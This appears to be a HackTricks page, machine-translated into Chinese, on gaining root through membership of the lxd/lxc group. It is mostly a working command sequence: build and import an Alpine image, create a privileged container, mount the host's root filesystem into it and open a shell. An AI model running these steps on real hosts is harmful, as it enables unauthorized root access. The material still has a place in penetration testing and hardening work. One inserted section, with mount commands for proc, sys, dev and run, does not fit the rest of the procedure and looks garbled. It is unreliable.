hacktricks/linux-unix/privilege-escalation/lxd-privilege-escalation.md
2023-08-03 19:12:22 +00:00

5.4 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

如果你属于_lxd_或_lxc_组你可以成为root

在没有互联网的情况下进行利用

你可以在你的机器上安装这个发行版构建工具:https://github.com/lxc/distrobuilder 按照github上的说明操作:

#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

然后,将文件lxd.tar.xzrootfs.squashfs上传到服务器

添加镜像:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

创建一个容器并添加根路径

要利用LXD特权升级漏洞首先需要创建一个容器并将根路径添加到其中。以下是一些步骤

  1. 使用LXD客户端创建一个新的容器
lxc launch <image> <container-name>
  1. 进入容器的shell环境
lxc exec <container-name> -- /bin/sh
  1. 在容器中添加根路径:
mount -t proc proc /root/proc
mount --rbind /sys /root/sys
mount --rbind /dev /root/dev
mount --rbind /run /root/run

现在,你已经成功地创建了一个容器并添加了根路径。接下来,你可以继续进行特权升级的步骤。

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

执行容器:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

通过互联网

您可以按照这些说明进行操作。

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

其他参考资料

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥